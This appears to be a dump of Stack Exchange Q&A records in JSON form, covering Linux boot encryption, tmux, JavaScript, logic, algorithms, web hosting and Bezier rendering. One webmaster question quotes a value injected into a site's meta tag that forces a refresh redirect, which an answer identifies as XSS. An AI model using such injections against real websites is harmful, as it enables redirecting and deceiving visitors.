{  "id": "_unix.370216"  , "question": "I'm trying to setup grub to boot from encrypted /boot on BTRFS based RAID1 array. However, I'm cannot find a way to force grub to unlock both disks. GRUB asks for key twice to unlock /boot, but I don't know how to ask it to unlock two cryptdevices after that. Here the boot process:Unlock /dev/sda2:Unlock /dev/sdb2:grub asks for /dev/sdb2 passwordand fails since /dev/mapper/root1 is not foundHere is how relevant parts of config files look like:/etc/default/grub.cfg:...GRUB_CMDLINE_LINUX_DEFAULT=cryptdevice=/dev/sda2:root1 cryptkey=rootfs:/cryptfile.bin cryptdevice=/dev/sdb2:root2 cryptkey=rootfs:/cryptfile.bin root=/dev/mapper/root1 rootfstype=btrfs rootflags=device/dev/mapper/root1,device=/dev/mapper/root2,defaultsGRUB_ENABLE_CRYPTODISK=y...Disk partitioning looks like:/sda    /sda1 - SWAP    /sda2 - dmcrypt        /root1 - / (RAID1)/sdb    /sdb1 - SWAP    /sdb2 - dmcrypt        /root2 - / (RAID1)Any help please?"  , "title": "Grub with encrypted /boot and / on btrfs RAID1?"  , "tags": "linux;grub;btrfs;disk encryption;whole drive encryption"  , "accepted_answer": "Working advice from reddit:Find the encrypt boot hook (the one that is bundled inside your initramfs)copy it and create encrypt2 from it. Remove some sanitation lines from it (like clearing some files or folders)add encrypt2 to your hooks (mkinitcpio.conf(5)), encrypt2_* arguments to your kernel cmdline, rebuild the initramfs.reboot?"  } 
{  "id": "_unix.22854"  , "question": "How can I create a script that automatically switches windows? I'm trying to do the same thing Alt+Tab does."  , "title": "How to switch X windows from the command-line?"  , "tags": "terminal;keyboard;keyboard shortcuts"  , "accepted_answer": "Sounds like you're looking for wmctrl - see here for more examples.Edit: Your window manager/desktop environment has to be standards compliant (EWMH).  And here are more examples."  } 
{  "id": "_codereview.149562"  , "question": "I need to create this eventEmitter class with the functions listed below. I think I could clean the code a little but don't really know where to start.var eventEmitter =function  (){  this.listeners = 0;  this.events = {};  return this;};eventEmitter.prototype.on = function(ev, cb) {  if (typeof ev !== 'string') throw new TypeError(Event should be type string, index.js, 6);  if (typeof cb !== 'function' || cb === null || cb === undefined) throw new TypeError(callback should be type function, index.js, 7);  if (this.events[ev]){    this.events[ev].push(cb);  } else {    this.events[ev] = [cb];  }  this.listeners ++;  return this;};eventEmitter.prototype.emit = function(eventType) {  if (typeof eventType !== 'string') throw new TypeError(Event type should be type string, index.js, 6);  var handlerFunctions = this.events[eventType];  if (handlerFunctions) {    var self = this;    for (var i = 0; i < handlerFunctions.length; i++) {      var handler = handlerFunctions[i];      if (arguments.length > 0) {        var args = Array.prototype.slice.call(arguments).slice(1, arguments.length);        handler.apply(self, args);      } else{        handler.call(self);      }    }  }  return this;};eventEmitter.prototype.off = function(eventType, handlers) {  if ( arguments.length > 0 && (eventType === 'undefined' || typeof eventType !== 'string')) throw TypeError('listener must be a function');  if (arguments.length > 1) {    if ( typeof handlers !== 'function' || handlers === 'undefined') throw TypeError('handler must be a function string or object');  }  switch(arguments.length) {    case 0:      this.listeners = 0;      this.events = {};      break;    case 1:      if (this.events[eventType]) {        this.listeners = this.listeners - this.events[eventType].length;        delete this.events[eventType];      }      break;    case 2:      if (this.events[eventType]) {        for (var i = 0; i < this.events[eventType].length; i++) {           if (handlers.toString() == this.events[eventType][i].toString()){             this.events[eventType].splice( i, 1 );             this.listeners --;             i --;           }        }      }      break;  }  return this;};module.exports = eventEmitter;"  , "title": "Event emitter in JavaScript without using Node's built in class or any additional libraries"  , "tags": "javascript;object oriented;event handling"  , "accepted_answer": "Constructors should be PascalCase, i.e. EventEmitter - not eventEmitter. Of course, EventEmitter is the exact name of Node's own implementation, so I'd pick something else.Don't hardcode file and line number in errors. Those get added automatically, which is the whole point. And besides, if you hardcode them, you'll have to keep them up to date (line numbers are already misleading), etc.. It's interpreter-generated metadata, not data.Also, this a minor thing but don't use should in an error description. You're throwing an error because, something must be something - not just because it ought to. So event names must be strings, and listeners must be functions.Don't bother with maintaining the listeners count manually. You can just do this (ES6 syntax, but you can translate it):Object.keys(this.events).reduce((count, key) => count + this.events[key].length, 0);// => number of listener functionsYou can add that as a getter function with Object.defineProperty or just have a getListenerCount method. If you add it as a method you can even choose to only get the count for a named event, i.e. getListenerCount('someEventName').This:if (typeof cb !== 'function' || cb === null || cb === undefined)is very redundant. The only thing that matters is whether cb is a function. Doesn't matter if it's null or undefined - it's still not a function.You don't need to return this if you intend to use a function as a constructor. You can, but you don't need to.Here's a quick refactoring based on the points above:function EventBase() {  this.events = {};};EventBase.prototype = {  on: function (event, listener) {    if (typeof event !== 'string') throw new TypeError(Event must be a string);    if (typeof event !== 'string') throw new TypeError(Listener must be a function);    this.events[event] || (this.events[event] = []);    this.events[event].push(listener);  },  off: function (event, listener) {    if (arguments.length === 0) {      // remove all listeners      this.events = {};      return;    }    if (!this.events[event]) {      // return if there's no event by the given name      return;    }    if (arguments.length === 1) {      // remove all listeners for the given event      delete this.events[event];      return;    }    // remove specific listener    this.events[event] = this.events[event].filter(function (func) {      return func !== listener;    });  },  emit: function (event) {    if (!this.events[event]) {      // return if there's no event by the given name      return;    }    // get args    var args = [].slice.call(arguments, 1);    // invoke listeners    this.events[event].forEach(listener => listener.apply(this, args));  },  getListenerCount: function (event) {    // get total number of listeners    if (arguments.length === 0) {      return Object.keys(this.events).reduce((count, key) => count + this.getListenerCount(key), 0);    }    // return zero for non-existing events    if (!this.events[event]) {      return 0;    }    // return count for specific event    return this.events[event].length;  }};"  } 
{  "id": "_cstheory.25985"  , "question": "We know from Church's theorem that determining first order satisfiability is undecidable in general, but there are several techniques we can use to determine first order satisfiability. The most obvious is to search for a finite model. However, there are a number of statements in first order logic that we can demonstrate have no finite models. For instance, any domain in which an injective and non-surjective function operates is infinite. How do we demonstrate satisfiability for first order statements where there aren't finite models or the existence of finite models is unknown? In automated theorem proving we can determine satisfiability several ways:We can negate the sentence, and search for a contradiction. If one is found, we prove first order validity of the statement and thus satisfiability.We use saturation with resolution and run out of inferences. More often than not, we will have an infinite amount of inferences to make, so this isn't dependable.We can use forcing, which assumes the existence of a model and also the consistency of the theory.I don't know of anyone implementing forcing as a mechanized technique for automated theorem proving, and it doesn't look easy, but I'm interested if it's been done or attempted, as it's been used to prove independence for a number of statements in set theory, which itself has no finite models. Are there other techniques known for searching for first order satisfiability that are applicable for automated reasoning or has anyone worked on an automated forcing algorithm?"  , "title": "First order satisfiability that doesn't have finite models"  , "tags": "reference request;lo.logic;automated theorem proving"  , "accepted_answer": "Here's an amusing approach by Brock-Nannestad and Schrmann:Truthful Monadic AbstractionsThe idea is to try to translate first-order sentences into monadic first-order logic, by forgetting some of the arguments. Certainly the translation isn't complete: there are some consistent sentences which become inconsistent after translation.However, monadic first order logic is decidable. One can therefore verify if the translation $\\overline F$ of a formula $F$ is consistent:$$ \\overline F\\not\\vdash\\bot$$can be checked by a decision procedure, and implies$$ F\\not\\vdash\\bot$$Which implies that $F$ has a model, by the completeness theorem.This theme can apply somewhat more generally: identify a decidable sub-logic of your problem, then translate your problem into it, in a way that preserves truth. In particular modern SMT solvers like Z3 have gotten astonishingly good at proving satisfiability of formulas with quantifiers (by default $\\Sigma^0_1$, but can perform well on $\\Pi^0_2$ formulas).Forcing seems to be far out of reach of automated methods at the present."  } 
{  "id": "_cs.41099"  , "question": "I have a tentative understanding of modal logic.  Can anyone explain modal logic as it is used in computer science?"  , "title": "The use of modal logic in computer science"  , "tags": "logic;modal logic"  } 
{  "id": "_unix.171258"  , "question": "this problem occurs on Debian jessie x86 with systemd. It leads to an incomplete boot sequence on init 2 because network-manager won't start. it leaves the whole system unusableNetworkManager[785]: segfault at e7394845 ip b74ab7a1 sp b7548810 error 7 in libgnutls-deb0.so.28.41.0[b746f000+13a000]"  , "title": "segfault in libgnutls - Debian won't complete boot"  , "tags": "debian;init;segmentation fault"  , "accepted_answer": "Turned out, I interrupted an upgrade process earlier. I manually reinstalled the network manager package."  } 
{  "id": "_codereview.24869"  , "question": "I have a simple two-class hierarchy to represent U.S. ZIP (12345) and ZIP+4 (12345-1234) codes. To allow clients to allow both types for a field/parameter or restrict it to one type or the other, the specific types inherit from a common generic ZipCode interface.Update: A ZIP code is five digits. A ZIP+4 code consists of the primary five-digit ZIP code plus a four-digit plus-4 (+4) code. You can create a ZIP+4 from a regular ZIP and get the primary ZIP from a ZIP+4. Thus, the interface which the two classes implement knows about the two classes, and they know about each other.interface ZipCode    boolean isPlusFour()    ZipPlusFour plusFour(String code)    Zip primary()    boolean hasSamePrimary(ZipCode other)class Zip implements ZipCode    String codeclass ZipPlusFour implements ZipCode    Zip primary    String plusFourCodeIntroducing Null Object PatternTo avoid duplicating code that checks for null values throughout the application, I would like to introduce the Null Object pattern. However, I'm afraid the only way to do so that supports the features above is to add three new classes instead of just one:class NullZipCode implements ZipCodeclass NullZip extends Zipclass NullZipPlusFour extends ZipPlusFourWorse, since the last two extend concrete classes they will need to pass special values to their superclass that will pass validation but not block the possibility of using real values. For example, NullZip would call super(00000).Here are my main questions, though please don't hesitate to throw out any suggestions you have.Is there a way to solve this with just one new class to cover all bases?Is it worth extracting interfaces from Zip and ZipPlusFour so that NullZip won't extend the concrete Zip implementation (same for ZipPlusFour)?ZipCode  Zip    NullZip    RealZipAnother option is to forego separate classes altogether and check for a special value in Zip and ZipPlusFour to signify a missing ZIP code.class Zip    boolean isNone() {        return code.equals(00000);    }    boolean hasSamePrimary(ZipCode other) {        if (isNone() || other.isNone())            return false;        else            return code.equals(other.primary().code);    }At least the complicated checks are encapsulated in these classes which is the whole point of introducing the pattern. The downside is that this logic can be more fragile than inheritance. Is this a good trade-off?"  , "title": "Null Object pattern with simple class hierarchy"  , "tags": "java;design patterns;polymorphism;null"  } 
{  "id": "_codereview.25763"  , "question": "I had my original threading code which worked well, but since my tasks were shortlived, I decided to use thread pools through ExecutorService.This was my original codepublic class MyRun implements Runnable{    private Socket socket = null;    public MyRun(Socket s)    {        socket = s;        thread = new Thread(this, SocketThread);        thread.start();    }    public void run()    {        // My actual thread code    }}My main program...ss = new ServerSocket(port);....MyRun st = null;while (!stop){    st = new MyRun(ss.accept());    st = null;}New codepublic MyRun(Socket s){    socket = s;    thread = new Thread(this, SocketThread);}run() left unchangedChanged Main programprivate static ExecutorService execService = Executors.newCachedThreadPool();........while (!stop){    execService.execute(new MyRun(ss.accept()));}Changed code seems to be working fine, but I just want to make sure there is nothing I am missing. I want all threads to execute simultaneously."  , "title": "Moving from normal threads to ExecutorService thread pools in java"  , "tags": "java;multithreading"  , "accepted_answer": "A few simple remarks :thread = new Thread(this, SocketThread); is no longer needed in MyRun, since the ExecutorService is the one creating and managing the Threads.you will want to call execService.shutDown() to properly clean up the resources of the executorService."  } 
{  "id": "_softwareengineering.211197"  , "question": "My team is writing a compiler for a domain-specific language (DSL) which will be integrated into an IDE. Right now, we are focused on the analysis phase of the compiler. We are not using any existing parser-generators (such as ANTLR) because we need real-time performance and highly detailed error/warning/message information. We haveclasses, each of which represents a node in the concrete syntax tree for the language, as well asclasses which act as annotations for each node (i.e., for errors and additional information), as well asinternal classes which build and manipulate the concrete syntax tree (i.e., lexer, parser, cache for strings, syntax visitors).We are trying to decide on an overall strategy for organizing our tests. Our company is pushing behavior-driven development (BDD) and domain-driven design (DDD). Although we are building a DSL for our companys domain, the domain of the compiler is a programming language.We are still in the process of building the compiler and have some tests already. We are aiming to have 100% statement coverage.We currently have tests in which we input source code to the syntax tree builder, and then run a verification on each property of every node of the resultant syntax tree to make sure that the expected information (line number, relevant error(s), child/parent tokens, width of token, type of token, etc.). Now, since each node is its own class, and certain annotations and errors attached to a node are separate classes, this test ends up referencing many classes.We currently have tests for certain classes such as the lexer in which we can isolate the input (a string) and the output (a list of tokens) from other classes (e.g., the classes for the nodes of the syntax tree). These tests are more granular.Now, the tests in the paragraph immediately above can be put in correspondence with the class under test (e.g., lexer, string cache). However, the tests from the second paragraph above really test the whole analysis phase of the compiler; that is, each test can have well over 300 assertions for the syntax tree, given the input source code. The tests are for the behavior of the analysis phase.Is this an appropriate testing strategy? If not, what should we be doing differently? What organization strategy should we use for our tests?"  , "title": "How to use BDD to unit test a compiler?"  , "tags": "unit testing;compiler;domain driven design;bdd"  , "accepted_answer": "  > Is this an appropriate testing strategy?No, because the your subdomain is a DSL (a kind of programming language) and your compiler is part of an implementation detail for the use case that allows to automate actions/workflows in this domain using the DSL.Since I do not know how your DSL looks like I assume that you have concepts like loop, condition, statement, variable using the example  for(int i=1;i =< 10;i++) {subtask();}Using a bdd-gherkin like language you could write something likeas a automation useri want to have a for loop with startvalue, endvalue, loopincrementso that i can repeat subtasks several times.given startvalue=1and endvalue = 10and loopinclrement = 1when i execute for(int i=%startvalue%;i =< %endvalue %;i+=%loopinclrement%)then the subtask should have been executet 10 times.This is quite a lot of work to prove that your compiler works as expected.  > If not, what should we be doing differently?   > What organization strategy should we use for our tests?I would create a big repository of examples for input with corresponding output.The automated test would iterate through the examples and verify that the compiler output matches the expected output.Example: if your invoice/order-related dsl compiles to java a repository entry would look like: example: loop over orderentries dsl-source: foreach orderitem in orders do calculateTaxes(orderitem) expected errormessage: none expected java output: for(OrderItemType orderitem : orders)                           {calculateTaxes(orderitem);} example: loop with syntax errors dsl-source: foreach orderitem in orders  expected errormessage: missing do-keyword in line 1 expected java output: noneSo instead of writing a lot of code to fit bdd you simply have to add examples of hardcoded input/output values."  } 
{  "id": "_webmaster.11073"  , "question": "Some acquaintances of mine inherited a website running a custom wordpress template and the previous owner asked them to take over and to get it set up on their own server.  I was asked to assist since I was the only one they knew with some technical skills.The previous site owner send me a backup of the web files and the mySQL database and recommended using site5.com for hosting.I got the files installed, things seemed to be OK and we were then ready to transfer the DNS.The domain is registered through GoDaddy and the prior owner issued a transfer to me, I got signed up accepted the domain and then went in and set the nameservers per site5 instructions:  dns.site5.com and dns2.site5.comI expected that this was all that would be required and would just wait for the dns entries to update.However, at present when I browse or ping the Website.  I get Server not Found.Is there anything else that I should have done or am I just in DNS Limbo?WHOIS.NET reports that it is registered to me and has the nameservers correct.You'll have to excuse me, while I've set up several websites internally at my work, this is the first time I've worked on an internet website.Thanks for any help you can offer."  , "title": "Having trouble moving Website"  , "tags": "wordpress;dns;godaddy;nameserver"  , "accepted_answer": "Can you see your site on site5.com's IP address? Did they give you a temporary url so that you can test it prior to the nameserver change?Have site5/you setup your account so that there are records pointing to your site? If you haven't transferred the domain in to site5 or set up the domain in their backstage their nameservers won't know about your site. Could you give us the url so we can have a look?"  } 
{  "id": "_cs.2985"  , "question": "On Wikipedia, an implementation for the bottom-up dynamic programming scheme for the edit distance is given. It does not follow the definition completely; inner cells are computed thus:if s[i] = t[j] then    d[i, j] := d[i-1, j-1]       // no operation requiredelse  d[i, j] := minimum             (               d[i-1, j] + 1,  // a deletion               d[i, j-1] + 1,  // an insertion               d[i-1, j-1] + 1 // a substitution             )}As you can see, the algorithm always chooses the value from the upper-left neighbour if there is a match, saving some memory accesses, ALU operations and comparisons. However, deletion (or insertion) may result in a smaller value, thus the algorithm is locally incorrect, i.e. it breaks with the optimality criterion. But maybe the mistake does not change the end result -- it might be cancelled out.Is this micro-optimisation valid, and why (not)?"  , "title": "Micro-optimisation for edit distance computation: is it valid?"  , "tags": "algorithms;dynamic programming;string metrics;correctness proof;program optimization"  , "accepted_answer": "I don't think that the algorithm is flawed. If two strings are matched, we compare first its last two characters (and then recurse). If they are the same, we can match them to get an optimal alignment. For example, consider the strings test and testat. If you don't match the two last ts, than one of the ts remains unmatched, since otherwise your matching would look like this:This is impossible, since the arrows are not allowed to cross. The matched t induces several inserts (green boxes in the figure), as depicted on the left:But then you can simply find an equally good alignment, depicted on the right. In both cases you match a t and you have two inserts.The argument for a substitution of one of the last ts is the same. So if you substitute one of the last ts, then you can instead match the last two t, and get a better alignment (see the picture)."  } 
{  "id": "_webmaster.31331"  , "question": "this question just came up as we recently bought content from image stock portals. Many of those altered their license agreement in favor of charging more for using in mobile apps. So instead of using their standard licenses, you need to pay an extended licenses which multiplies the fee easily by 5-10.That doesn't make sense as the mobile device is just a smaller browser and protects the content even better than a desktop computer.Are those stock agencies allowed to do that, and is it legal at all ?I am not a lawyer but I would even risk to go on with the standard license and wait to be sued in that matter."  , "title": "Is it legal to charge extra fees for copyrighted content on mobile platforms?"  , "tags": "legal;mobile;content;copyright"  } 
{  "id": "_webapps.49594"  , "question": "Is there a way to search for all files with a certain name in all repositories on Github? I've seen the advanced search form, but I can't see anything in there.If there isn't anything on the Github website, is there any other way to do this?I'm looking to produce various interesting statistics (a simple example is, how many README files are there on Github? But there are a broader range of questions)"  , "title": "Search in all Github repositories for files with a specific name"  , "tags": "search;github"  , "accepted_answer": "Try this:README.txt in:path(maybe you will need to click on Code on the left side of the search page)"  } 
{  "id": "_cstheory.19882"  , "question": "Given a degree $2k$ reducible polynomial $$f(x)=\\sum_{i=0}^{2k}a_ix^i\\in\\Bbb Z[x]$$ with $$\\text{gcd}(a_{2k},\\dots,a_0)=1$$ that is known to be of the form $f_1(x)f_2(x)$ with $\\text{deg}\\big(f_i(x)\\big)=\\frac{\\text{deg}(f(x))}{2}=k$ and each $f_i(x)$ irreducible.Can the LLL algorithm be used to factor $f(x)$ in polynomial time and what is the complexity?Note that $\\text{gcd}(a_{2k},\\dots,a_0)=1$ makes $f(x)$ prmitive.This answer tells that such polynomials have efficient factorization algorithms. Although the precise method is not mentioned there I belive LLL suffices and hence the question here. If LLL does do the job, can its complexity be improved from $(2k)^{6+\\epsilon}$ arithmetic operations which is needed if the form of the factors are unknown.Refer here for complexity of factoring primitive polynomials with integer ocefficents where the phrase We also mention Schnhage's method using $O(n^6+n^4\\log_2^2l)$  bit operations for factoring polynomials with integer coefficients ($l$ is the length of the coefficients)is used. $n$ is the degree and it corresponds to $2k$ here."  , "title": "Factoring with LLL when the form of the factors is given"  , "tags": "ds.algorithms;polynomials;algebraic complexity;factoring;lattice"  , "accepted_answer": "Yes, assuming you want both $f_1(x)$ and $f_2(x)$ with integer coefficients.One of the reasons why LLL is so popular is precisely because it gives a polynomial time algorithm to factor polynomials with integer coefficients.For an excellent introduction, I recommend C. Yap's Fundamental Problems in Algorithmic Algebra (available online, for free), specifically chapter 9 Lattice Reduction and Applications (section 9.6).  Following Yap, choose an approximation, $\\alpha$, of a (complex) root for $f(x)$.  Setup the lattice reduction with the following basis:$$ B_k = \\begin{bmatrix} \\text{Re}(\\alpha^0) & \\text{Re}(\\alpha^1) & \\text{Re}(\\alpha^2) & \\cdots & \\text{Re}(\\alpha^k) \\\\\\text{Im}(\\alpha^0) & \\text{Im}(\\alpha^1) & \\text{Im}(\\alpha^2) & \\cdots & \\text{Im}(\\alpha^k) \\\\c & 0 & 0 & \\cdots & 0 \\\\0 & c & 0 & \\cdots & 0 \\\\0 & 0 & c & \\cdots & 0 \\\\\\vdots & \\vdots & \\vdots & \\ddots & \\vdots \\\\0 & 0 & 0 & \\cdots & c  \\end{bmatrix}$$Choosing $c = 2^{-4t^3}$, with $\\alpha$ to have $O(t^3)$ bits for each of the real and complex portions.  Here, $t = \\log ||f(x)||_{\\infty}$ (that is, the cube of the number of bits of the maximum coefficient of $f(x)$).Quoted from FPiAA:Theorem 9 Given a basis $A \\in \\mathbb{Q}^{n \\times m}$, we can compute a reduced basis $B$ with $\\Lambda(A) = \\Lambda(B)$ using $O(n^5(s + \\log n))$ arithmetic operations, where s is the maximum bit size of entries in $A$This gives us the (polynomial) run time.  Proof of correctness that for a properly setup lattice will give you the minimal factor of a reducible polynomial is a bit more involved, but please refer to theorem 14 of the same chapter to see the relation between the reduced basis and the minimal polynomial.By setting up the basis with dimension $n=k$ you can easily see the bound as roughly $O(k^5( \\lg(||f(x)||_{\\infty}^3) + \\log n))$.Since, by assumption, you know the degree of $f_1(x)$ and $f_2(x)$, the lattice reduction algorithm only needs to be run once to find one of the two factors of $f(x)$.  You can then use the discovered $f_j(x)$ to find the other by standard polynomial division.The original paper by Lenstra, Lenstra and Lovasz, Factoring polynomials with rational coefficients, is also quite readable and I found it to be a good compliment to Yap's introduction."  } 
{  "id": "_unix.219909"  , "question": "I would like to install .rpm file using aliensudo alien --scripts  /root/Disk1/oracle-xe-11.2.0-1.0.x86_64.rpmerror: incorrect format: unknown tagmkdir: cannot create directory `oracle-xe-11.2.0': File existsunable to mkdir oracle-xe-11.2.0:  at /usr/share/perl5/Alien/Package.pm line 257Getting the above error.and then    root@atten2015:~# sudo alien --verbose  --scripts  /root/Disk1/oracle-xe-11.2.0-                                             1.0.x86_64.rpm        LANG=C rpm -qp --queryformat %{NAME} /root/Disk1/oracle-xe-11.2.0-1.0.x8                                             6_64.rpm        LANG=C rpm -qp --queryformat %{VERSION} /root/Disk1/oracle-xe-11.2.0-1.0                                             .x86_64.rpm        LANG=C rpm -qp --queryformat %{RELEASE} /root/Disk1/oracle-xe-11.2.0-1.0                                             .x86_64.rpm        LANG=C rpm -qp --queryformat %{ARCH} /root/Disk1/oracle-xe-11.2.0-1.0.x8                                             6_64.rpm        LANG=C rpm -qp --queryformat %{CHANGELOGTEXT} /root/Disk1/oracle-xe-11.2                                             .0-1.0.x86_64.rpm        LANG=C rpm -qp --queryformat %{SUMMARY} /root/Disk1/oracle-xe-11.2.0-1.0                                             .x86_64.rpm        LANG=C rpm -qp --queryformat %{DESCRIPTION} /root/Disk1/oracle-xe-11.2.0                                             -1.0.x86_64.rpm        LANG=C rpm -qp --queryformat %{COPYRIGHT} /root/Disk1/oracle-xe-11.2.0-1                                             .0.x86_64.rpmerror: incorrect format: unknown tag        LANG=C rpm -qp --queryformat %{PREFIXES} /root/Disk1/oracle-xe-11.2.0-1.                                             0.x86_64.rpm        LANG=C rpm -qp --queryformat %{POSTIN} /root/Disk1/oracle-xe-11.2.0-1.0.                                             x86_64.rpm        LANG=C rpm -qp --queryformat %{POSTUN} /root/Disk1/oracle-xe-11.2.0-1.0.                                             x86_64.rpm        LANG=C rpm -qp --queryformat %{PREUN} /root/Disk1/oracle-xe-11.2.0-1.0.x                                             86_64.rpm        LANG=C rpm -qp --queryformat %{PREIN} /root/Disk1/oracle-xe-11.2.0-1.0.x                                             86_64.rpm        LANG=C rpm -qcp /root/Disk1/oracle-xe-11.2.0-1.0.x86_64.rpm        rpm -qpi /root/Disk1/oracle-xe-11.2.0-1.0.x86_64.rpm        LANG=C rpm -qpl /root/Disk1/oracle-xe-11.2.0-1.0.x86_64.rpm        mkdir oracle-xe-11.2.0mkdir: cannot create directory `oracle-xe-11.2.0': File existsunable to mkdir oracle-xe-11.2.0:  at /usr/share/perl5/Alien/Package.pm line 257 "  , "title": "rpm file to deb Ubuntu 10.04.4 LTS"  , "tags": "rpm"  } 
{  "id": "_cs.19848"  , "question": "Seemingly, a byte has established itself to be 8bit (is that correct?). RAM and NOR-flash can be normally accessed on a quite granular level, but it is up to the system architecture to determine if the smallest addressable unit is 8bit, 16bit or any other power of two bit number. Would the correct terminology be to call this word-addressable? Or asked differently, is a word the size of smallest addressable unit? Or is there some other term to describe this? Are mabye nibble, byte, word, double word all variable in bit-length and only defined by the architecture? And it is therefore only coincidence that a byte is always 8 bit? E.g. someone could design some new CPU and memory type and define her byte to be 16bit?Main question: What is the precise term for the smallest addressable memory block?Side question: What is the antonym to this word I'm looking for (e.g. used in NAND-flash)? Page-addressable, block-addressable? Are both correct or is one inprecise?"  , "title": "Word- or byte-addressable? Correct terminology"  , "tags": "terminology;computer architecture;memory management;memory access"  , "accepted_answer": "From a computer architecture point of view, and with the caveat that nomenclature sometimes varies, especially when there is a family of related architectures which has evolved for a long time, or when the marketing department decides to that the usual terms have to used in another way (either to put the product in better light by using a bigger number, or to have a simple number to differentiate more or less related products).A word has the size normally used for integer operations (often expressed as size of the integer or the general purpose registers, i.e. not address or data, internal or external buses, not address registers, not index registers).  A common issue is that when an architecture is an evolution of a previous one, one often keep the term word for the initial size and one use double word or quad word for what is a word if you look at the architecture in isolation.  Historically words have not always been a power of two (I know of sizes: 12, 16, 18, 24, 32, 36, 60, 64 and I don't think my knowledge is exhaustive).Word addressable means that the memory is considered as arrays of words, and thus no smaller unit has an individual addresses.A byte has various definitions.  The term was introduced to mean the unit used in character encoding at a time where multi-byte encoding didn't exist.  It is often used to means the smallest addressable unit for machine which are not word addressable (well as long at it is not one bit). I don't think those two definitions have ever given a different size. (nor a size different from 6 or 8 bits). For word addressable machine it often means some unit smaller than a word that the machine has some support for (for instance the PDP-10 -- a 36 bits word addressable computer -- had byte instructions which could manipulate any size from 1 to 35 or 36 bits).  Nowadays it is also often 8 bits.  Often several of those definitions are practically equivalent.Byte addressable characterizes machines where the memory is considered as arrays of bytes in one of the above meaning.AFAIK nibble has only been used for 4 bits quantities.E.g. someone could design some new CPU and memory type and define her byte to be 16bit?Yes, but I'm not sure if it would make much sense to do so if one keeps the CA usage to use byte for something smaller than the word.  Having a word addressable 16-bit processor with no support for something smaller than a word may be a good choice for a special purpose processor.Secondarily, what is the antonym to this word I'm looking for? Page-addressable, block-addressable?Bit-addressable, byte-addressable and word-addressable are the only terms I've seen use.  It doesn't make much sense to address only units bigger than the word at the architectural level.  Word-addressable is nowadays only used for special purpose processors such as DSP.  I don't think bit-addressability has been used for anything else than special purpose one excepted the IBM Stretch.About your new main questionWhat is the precise term for the smallest addressable memory block?I know of none used in Computer Architecture (byte has been used for something smaller in word adressable machines), but is the definition used by C for byte."  } 
{  "id": "_unix.308999"  , "question": "I am running tmux inside gnome terminal and have been trying to use a binding to copy the contents of tmux's paste buffer to my linux X clipboard. Alot of places on the internet recommend this:bind C-c run tmux save-buffer - | xclip -i -sel clipboardThis command works perfectly from the command linetmux save-buffer - | xclip -i -sel clipboardIf I bind the shell command to a key and use it from inside tmux (using bind C-c run tmux save-buffer - | xclip -i -sel clipboard) , it does copy the tmux save-buffer to my clipboard. I.e. once I have copied some text in tmux's copy mode, using this binding will load the text into my X clipboard ready to be pasted into a browser etc.however it _also_  causes the prefix key to stop working for that terminal.If I kill the terminal with tmux running inside it and open another terminal and re-attach to tmux, the prefix key will continue working in another terminal.I also tried the following approach:  Set up an executable file: /usr/local/bin/tmux_to_clip  with the command in it% cat /usr/local/bin/tmux_to_clip #!/bin/bashtmux save-buffer - | xclip -i -sel clipboardand then called the command from inside tmux:run tmux_to_clipagain, it successfully copies the command to the clipboard, but again it, breaks the prefix key.How can I prevent this and get a keybinding for copying tmux save-buffer to X clipboard?"  , "title": "Running shell commands from inside tmux is causing Gnome terminal to break  key"  , "tags": "tmux;gnome terminal"  } 
{  "id": "_webmaster.71633"  , "question": "webmaster is crawling both the urls, one which is SEO friendly and the one .php urls for the same page thus showing duplicate title and description for those pages.urls of .php were changed through .htaccess file. what is the solution?     "  , "title": "google webmaster is crawling both file urls"  , "tags": "url;web crawlers;googlebot"  } 
{  "id": "_webmaster.84495"  , "question": "I call it 'Meta-jacking'.So this website I found has a meta with content= and whatever you type in the description displays your text in the content. So I took advantage of this and typed:0;//wwww.google.comhttp-equiv=refreshand sure enough it redirected to google, is this some sort of XSS?"  , "title": "I found some weird exploit"  , "tags": "hacking"  , "accepted_answer": "Yes, that's pretty much a textbook example of XSS. When a site takes input and then serves it back to you in an executable manner, the site is vulnerable because a ne'er-do-well can direct a victim to the legitimate website in such a way that malicious code is injected into the session. The user thinks they are safe because the site is legitimate, HTTPS encrypted, etc. -- but since they were sent there by a malicious source leveraging the XSS vulnerability, the session is compromised.This is exactly why we tell people not to click links in email."  } 
{  "id": "_webmaster.34844"  , "question": "We have a site based upon Google Sites. Now we would like to create a login area (HTTPS) with a mixture of dynamic and static content. Is it a good idea to utilize Google Sites and use iFrames for the dynamic parts of the content?The reason why I like Google Sites, is that it is so easy to change content and immediately see what it will look like."  , "title": "Good idea to use Google Sites for static content and custom PHP for dynamic"  , "tags": "security;authentication;iframe;google sites"  } 
{  "id": "_computergraphics.1895"  , "question": "I have been working on a graphics library for some time now and have gotten to the point where I have to draw Bezier and line based fonts. Up to this point I am stuck with this:The green lines are the Bezier paths, and the white part is what gets rendered.The code I use for Beziers is here. The one for lines is here. For those who don't know that is Lua. Path rendering (lines) : 32 - 39  The algorithm is as follows:Iterating from 0 to 1 at certain intervalscalculating the x and y with this formula: (1-index)^2*x1+2*(1-index)*index*x2+index^2*x3Up to this point everything works fine. The green lines are generated using the path method.The white part is rendered in a completely different way:I get the x coordinates of the Beziers and lines at a particular Y, the put them into a table.I iterate through the table and each time I encounter a point I change the value of state. In the same for loop is also check whether state is on. If it is, I draw a pixel to the screen.To find the x values of a y, I use the getX method (line 46 in Bezier and line 31 in Line).The code I use for the drawing itself is this one:local xBuffer = {}local state = falsefor i=0,500 do    for k,v in pairs(beziers) do        a,b = v.getX(i)        if a then            xBuffer[round(a)] = 1            if b then                xBuffer[round(a)] = 1            end        end    end    for k,v in pairs(lines) do        a = v.getX(i)        if a then            xBuffer[round(a)] = 1        end    end    state = false    for x=0,600 do        if xBuffer[x] then            state = not state        end        if state then            love.graphics.points(x,i)        end    endendQuick explanation: for i,v in pairs iterates through the table given as an argument to pairs. love.graphics.points(x,y) sets a point at x,y.Thanks in advance."  , "title": "How should I fill a shape consisting of Bezier curves and straight lines?"  , "tags": "rendering;algorithm;geometry;line drawing"  , "accepted_answer": "If you are in a hurry to get your renderer working and you already have the filled polygonal routine functioning correctly, can I suggest an alternative, possibly easier approach? Though I'm not familiar with Lua, it seems you are solving for the exact intersection of a scan line with the quadratic Bezier which, though admirable, is possibly overkill.Instead, tessellate your Beziers into line segments and then throw those into the polygon scan converter. I suggest just using (recursive) binary subdivision: i.e. the quadratic Bezier with control points, $(\\overline {A} , \\overline {B} , \\overline {C})$ can be split into two Beziers, $(\\overline {A} , \\overline {D} , \\overline {E})$ and $(\\overline {E} , \\overline {F} , \\overline {C})$ 